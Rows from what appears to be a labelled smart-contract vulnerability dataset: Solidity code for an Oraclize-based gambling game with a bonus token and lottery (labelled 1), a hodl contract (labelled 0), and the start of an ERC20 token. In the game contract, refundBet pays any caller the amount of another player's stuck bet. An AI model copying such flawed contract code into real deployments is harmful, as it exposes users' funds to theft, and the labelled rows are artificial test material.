dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) view internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal pure returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal pure returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal pure returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal pure returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
using CBOR for Buffer.buffer;
function stra2cbor(string[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeString(arr[i]);
}
buf.endSequence();
return buf.buf;
}
function ba2cbor(bytes[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeBytes(arr[i]);
}
buf.endSequence();
return buf.buf;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal view returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
require((_nbytes > 0) && (_nbytes <= 32));
_delay *= 10;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes memory delay = new bytes(32);
assembly {
mstore(add(delay, 0x20), _delay)
}
bytes memory delay_bytes8 = new bytes(8);
copyBytes(delay, 24, 8, delay_bytes8, 0);
bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay];
bytes32 queryId = oraclize_query("random", args, _customGasLimit);
bytes memory delay_bytes8_left = new bytes(8);
assembly {
let x := mload(add(delay_bytes8, 0x20))
mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000))
}
oraclize_randomDS_setCommitment(queryId, keccak256(abi.encodePacked(delay_bytes8_left, args[1], sha256(args[0]), args[2])));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(keccak256(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(keccak256(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = byte(1);
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1));
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
require(proofVerified);
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){
bool match_ = true;
require(prefix.length == n_random_bytes);
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(keccak256(keyhash) == keccak256(abi.encodePacked(sha256(abi.encodePacked(context_name, queryId)))))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == keccak256(abi.encodePacked(commitmentSlice1, sessionPubkeyHash))){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) {
uint minLength = length + toOffset;
require(to.length >= minLength);
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
function safeMemoryCleaner() internal pure {
assembly {
let fmem := mload(0x40)
codecopy(fmem, codesize, sub(msize, fmem))
}
}
}
pragma solidity ^0.4.24;
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.4.24;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.4.24;
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string name, string symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string) {
return _name;
}
function symbol() public view returns (string) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
}
contract BonusToken is ERC20, ERC20Detailed, Ownable {
address public gameAddress;
address public investTokenAddress;
uint public maxLotteryParticipants;
mapping (address => uint256) public ethLotteryBalances;
address[] public ethLotteryParticipants;
uint256 public ethLotteryBank;
bool public isEthLottery;
mapping (address => uint256) public tokensLotteryBalances;
address[] public tokensLotteryParticipants;
uint256 public tokensLotteryBank;
bool public isTokensLottery;
modifier onlyGame() {
require(msg.sender == gameAddress);
_;
}
modifier tokenIsAvailable {
require(investTokenAddress != address(0));
_;
}
constructor (address startGameAddress) public ERC20Detailed("Bet Token", "BET", 18) {
setGameAddress(startGameAddress);
}
function setGameAddress(address newGameAddress) public onlyOwner {
require(newGameAddress != address(0));
gameAddress = newGameAddress;
}
function buyTokens(address buyer, uint256 tokensAmount) public onlyGame {
_mint(buyer, tokensAmount * 10**18);
}
function startEthLottery() public onlyGame {
isEthLottery = true;
}
function startTokensLottery() public onlyGame tokenIsAvailable {
isTokensLottery = true;
}
function restartEthLottery() public onlyGame {
for (uint i = 0; i < ethLotteryParticipants.length; i++) {
ethLotteryBalances[ethLotteryParticipants[i]] = 0;
}
ethLotteryParticipants = new address[](0);
ethLotteryBank = 0;
isEthLottery = false;
}
function restartTokensLottery() public onlyGame tokenIsAvailable {
for (uint i = 0; i < tokensLotteryParticipants.length; i++) {
tokensLotteryBalances[tokensLotteryParticipants[i]] = 0;
}
tokensLotteryParticipants = new address[](0);
tokensLotteryBank = 0;
isTokensLottery = false;
}
function updateEthLotteryBank(uint256 value) public onlyGame {
ethLotteryBank = ethLotteryBank.sub(value);
}
function updateTokensLotteryBank(uint256 value) public onlyGame {
tokensLotteryBank = tokensLotteryBank.sub(value);
}
function swapTokens(address account, uint256 tokensToBurnAmount) public {
require(msg.sender == investTokenAddress);
_burn(account, tokensToBurnAmount);
}
function sendToEthLottery(uint256 value) public {
require(!isEthLottery);
require(ethLotteryParticipants.length < maxLotteryParticipants);
address account = msg.sender;
_burn(account, value);
if (ethLotteryBalances[account] == 0) {
ethLotteryParticipants.push(account);
}
ethLotteryBalances[account] = ethLotteryBalances[account].add(value);
ethLotteryBank = ethLotteryBank.add(value);
}
function sendToTokensLottery(uint256 value) public tokenIsAvailable {
require(!isTokensLottery);
require(tokensLotteryParticipants.length < maxLotteryParticipants);
address account = msg.sender;
_burn(account, value);
if (tokensLotteryBalances[account] == 0) {
tokensLotteryParticipants.push(account);
}
tokensLotteryBalances[account] = tokensLotteryBalances[account].add(value);
tokensLotteryBank = tokensLotteryBank.add(value);
}
function ethLotteryParticipants() public view returns(address[]) {
return ethLotteryParticipants;
}
function tokensLotteryParticipants() public view returns(address[]) {
return tokensLotteryParticipants;
}
function setInvestTokenAddress(address newInvestTokenAddress) external onlyOwner {
require(newInvestTokenAddress != address(0));
investTokenAddress = newInvestTokenAddress;
}
function setMaxLotteryParticipants(uint256 participants) external onlyOwner {
maxLotteryParticipants = participants;
}
}
pragma solidity ^0.4.24;
contract Game is usingOraclize, Ownable {
using SafeMath for uint;
uint public constant GAME_COIN_FlIP = 0;
uint public constant GAME_DICE = 1;
uint public constant GAME_TWO_DICE = 2;
uint public constant GAME_ETHEROLL = 3;
uint public constant LOTTERY_FEE = 0.002 ether;
uint public constant BENEFICIAR_FEE_PERCENT = 2;
uint public constant MIN_BET = 0.01 ether;
struct Query {
uint amount;
address gamer;
uint[] values;
uint prize;
uint range;
uint game;
uint time;
bool ended;
}
mapping(bytes32 => Query) public queries;
mapping(address => uint) public waitingPrizes;
mapping(address => bool) public isBet;
mapping(address => uint) public betsBalances;
mapping(address => uint) public minRanges;
mapping(address => uint) public maxRanges;
address[] public tokensHolders;
address[] public players;
bytes32 public lotteryQueryId;
uint public lotterySize;
uint public lotteryStage;
uint public lotteryRound;
uint public lastLotteryTime;
uint public lastSendBonusTokensTime;
uint public callbackGas;
uint public beneficiarFund;
address public beneficiar;
BonusToken public token;
uint private playersIndex;
event PlaceBet(address indexed gamer, bytes32 queryId);
event Bet(address indexed gamer, uint indexed game, uint amount, uint result, uint[] winResult, uint prize, uint timestamp);
event WinLottery(address indexed gamer, uint prize, uint ticketsAmount, uint indexed round);
constructor(address startBeneficiar) public valideAddress(startBeneficiar) {
oraclize_setProof(proofType_Ledger);
oraclize_setCustomGasPrice(5000000000);
callbackGas = 300000;
beneficiar = startBeneficiar;
}
modifier valideAddress(address addr) {
require(addr != address(0));
_;
}
function placeBet(uint game, uint[] values) payable external {
require(msg.value >= MIN_BET);
require(game == GAME_COIN_FlIP || game == GAME_DICE || game == GAME_TWO_DICE || game == GAME_ETHEROLL);
require(valideBet(game, values));
uint range;
uint winChance;
if (game == GAME_COIN_FlIP) {
require(values.length == 1);
range = 2;
winChance = 5000;
} else if (game == GAME_DICE) {
require(values.length <= 5);
range = 6;
winChance = 1667;
winChance = winChance.mul(values.length);
} else if (game == GAME_TWO_DICE) {
require(values.length <= 10);
range = 11;
for (uint i = 0; i < values.length; i++) {
if (values[i] == 0 || values[i] == 10) winChance = winChance.add(278);
else if (values[i] == 1 || values[i] == 9) winChance = winChance.add(556);
else if (values[i] == 2 || values[i] == 8) winChance = winChance.add(833);
else if (values[i] == 3 || values[i] == 7) winChance = winChance.add(1111);
else if (values[i] == 4 || values[i] == 6) winChance = winChance.add(1389);
else if (values[i] == 5) winChance = winChance.add(1667);
}
} else if (game == GAME_ETHEROLL) {
require(values.length == 1);
range = 100;
winChance = uint(100).mul(values[0] + 1);
}
address sender = msg.sender;
uint weiAmount = msg.value;
if (!isBet[sender]) {
players.push(sender);
isBet[sender] = true;
}
bytes32 queryId = random();
weiAmount = fee(weiAmount);
betsBalances[sender] = betsBalances[sender].add(weiAmount);
uint prize = weiAmount.mul(10000).div(winChance);
newQuery(queryId, msg.value, sender, values, prize, range);
queries[queryId].game = game;
emit PlaceBet(sender, queryId);
}
function lottery() external onlyOwner valideAddress(address(token)) {
require(now - lastLotteryTime >= 1 weeks);
require(token.ethLotteryBank() > 0);
require(lotterySize > 0);
if (!token.isEthLottery()) {
address[] memory lotteryParticipants = token.ethLotteryParticipants();
for (uint i = 0; i < lotteryParticipants.length; i++) {
address participant = lotteryParticipants[i];
uint participantBalance = token.ethLotteryBalances(participant);
if (participantBalance > 0) {
tokensHolders.push(participant);
}
}
updateLotteryRanges();
lotteryRound++;
}
token.startEthLottery();
lotteryQueryId = random();
}
function sendBonusTokens(uint playersIterations) external onlyOwner {
require(now - lastSendBonusTokensTime >= 24 hours);
uint playersIterationsNumber;
if (players.length.sub(playersIndex) < playersIterations) {
playersIterationsNumber = players.length.sub(playersIndex);
} else {
playersIterationsNumber = playersIterations;
}
uint tokensAmount;
uint betsBalance;
for (uint i; i < playersIterationsNumber; i++) {
address player = players[playersIndex];
tokensAmount = 0;
betsBalance = betsBalances[player];
while (betsBalance >= 1 ether) {
tokensAmount = tokensAmount.add(100);
betsBalance = betsBalance.sub(1 ether);
}
if (tokensAmount > 0) {
betsBalances[player] = betsBalance;
token.buyTokens(player, tokensAmount);
}
playersIndex++;
}
if (playersIndex == players.length) {
playersIndex = 0;
lastSendBonusTokensTime = now;
}
}
function refund() external {
require(waitingPrizes[msg.sender] > 0, '0');
require(address(this).balance >= waitingPrizes[msg.sender]);
uint weiAmountToSend = waitingPrizes[msg.sender];
waitingPrizes[msg.sender] = 0;
msg.sender.transfer(weiAmountToSend);
}
function refundBet(bytes32 queryId) external {
require(!queries[queryId].ended);
require(now - queries[queryId].time > 24 hours);
queries[queryId].ended = true;
msg.sender.transfer(queries[queryId].amount);
}
function getPlayers() external view returns(address[]) {
return players;
}
function setOraclizeGasPrice(uint gasPrice) external onlyOwner {
oraclize_setCustomGasPrice(gasPrice);
}
function setOraclizeGasLimit(uint gasLimit) external onlyOwner {
callbackGas = gasLimit;
}
function setBeneficiarAddress(address newBeneficiar) external onlyOwner valideAddress(newBeneficiar) {
beneficiar = newBeneficiar;
}
function setTokenAddress(address tokenAddress) external onlyOwner valideAddress(tokenAddress) {
token = BonusToken(tokenAddress);
}
function getFund(uint weiAmount) external onlyOwner {
msg.sender.transfer(weiAmount);
}
function getBeneficiarFund() external {
require(msg.sender == beneficiar);
uint256 fund = beneficiarFund;
beneficiarFund = 0;
beneficiar.transfer(fund);
}
function __callback(bytes32 myId, string result, bytes proof) public {
require((msg.sender == oraclize_cbAddress()), 'Sender must be Oraclize');
Query storage query = queries[myId];
require(!query.ended);
uint randomNumber;
uint i;
if (query.gamer != address(0)) {
if (oraclize_randomDS_proofVerify__returnCode(myId, result, proof) != 0) {
sendWin(query.gamer, query.amount);
} else {
randomNumber = uint(keccak256(result)) % query.range;
bool isWin;
if (query.game == GAME_ETHEROLL) {
if (randomNumber <= query.values[0]) {
sendWin(query.gamer, query.prize);
isWin = true;
}
} else {
for (i = 0; i < query.values.length; i++) {
if (randomNumber == query.values[i]) {
sendWin(query.gamer, query.prize);
isWin = true;
break;
}
}
}
if (isWin) {
emit Bet(query.gamer, query.game, query.amount, randomNumber, query.values, query.prize, now);
} else {
emit Bet(query.gamer, query.game, query.amount, randomNumber, query.values, 0, now);
}
}
query.ended = true;
} else if (myId == lotteryQueryId) {
require(oraclize_randomDS_proofVerify__returnCode(myId, result, proof) == 0);
randomNumber = uint(keccak256(result)) % token.ethLotteryBank();
uint prize = 0;
if (lotteryStage == 0) {
prize = lotterySize.div(2);
} else if (lotteryStage == 1) {
prize = lotterySize.div(4);
} else if (lotteryStage == 2) {
prize = lotterySize.mul(12).div(100);
} else if (lotteryStage == 3) {
prize = lotterySize.mul(8).div(100);
} else {
prize = lotterySize.div(20);
}
for (i = 0; i < tokensHolders.length; i++) {
address tokensHolder = tokensHolders[i];
if (randomNumber >= minRanges[tokensHolder] && randomNumber < maxRanges[tokensHolder]) {
deleteTokensHolder(i);
sendWin(tokensHolder, prize);
emit WinLottery(tokensHolder, prize, token.ethLotteryBalances(tokensHolder), lotteryRound);
lotteryStage++;
updateLotteryRanges();
token.updateEthLotteryBank(token.ethLotteryBalances(tokensHolder));
break;
}
}
if (lotteryStage == 5 || tokensHolders.length == 0) {
tokensHolders = new address[](0);
lotterySize = 0;
lotteryStage = 0;
lastLotteryTime = now;
token.restartEthLottery();
} else {
lotteryQueryId = random();
}
}
}
function updateLotteryRanges() private {
uint range = 0;
for (uint i = 0; i < tokensHolders.length; i++) {
address participant = tokensHolders[i];
uint participantBalance = token.ethLotteryBalances(participant);
minRanges[participant] = range;
range = range.add(participantBalance);
maxRanges[participant] = range;
}
}
function valideBet(uint game, uint[] values) private pure returns(bool) {
require(values.length > 0);
for (uint i = 0; i < values.length; i++) {
if (i == 0) {
if (game == GAME_ETHEROLL && values[i] > 96) {
return false;
}
}
if (i != values.length - 1) {
if (values[i + 1] <= values[i]) {
return false;
}
}
}
return true;
}
function fee(uint weiAmount) private returns(uint) {
uint beneficiarFee = weiAmount.mul(BENEFICIAR_FEE_PERCENT).div(100);
beneficiarFund = beneficiarFund.add(beneficiarFee);
lotterySize = lotterySize.add(LOTTERY_FEE);
weiAmount = weiAmount.sub(beneficiarFee).sub(LOTTERY_FEE);
return weiAmount;
}
function newQuery(bytes32 queryId, uint amount, address gamer, uint[] values, uint prize, uint range) private {
queries[queryId].gamer = gamer;
queries[queryId].amount = amount;
queries[queryId].values = values;
queries[queryId].prize = prize;
queries[queryId].range = range;
queries[queryId].time = now;
}
function random() private returns(bytes32 queryId) {
require(address(this).balance >= oraclize_getPrice('random', callbackGas));
queryId = oraclize_newRandomDSQuery(0, 4, callbackGas);
require(queryId != 0, 'Oraclize error');
}
function sendWin(address winner, uint weiAmount) private {
if (address(this).balance >= weiAmount) {
winner.transfer(weiAmount);
} else {
waitingPrizes[winner] = waitingPrizes[winner].add(weiAmount);
}
}
function deleteTokensHolder(uint index) private {
tokensHolders[index] = tokensHolders[tokensHolders.length - 1];
delete tokensHolders[tokensHolders.length - 1];
tokensHolders.length--;
}
} | 1 | 2,695 |
pragma solidity ^0.4.11;
contract hodlEthereum {
event Hodl(address indexed hodler, uint indexed amount);
event Party(address indexed hodler, uint indexed amount);
mapping (address => uint) public hodlers;
uint constant partyTime = 1546502555;
function() payable {
hodlers[msg.sender] += msg.value;
Hodl(msg.sender, msg.value);
}
function party() {
require (block.timestamp > partyTime && hodlers[msg.sender] > 0);
uint value = hodlers[msg.sender];
hodlers[msg.sender] = 0;
msg.sender.transfer(value);
Party(msg.sender, value);
}
} | 0 | 2,027 |
pragma solidity ^0.4.19;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
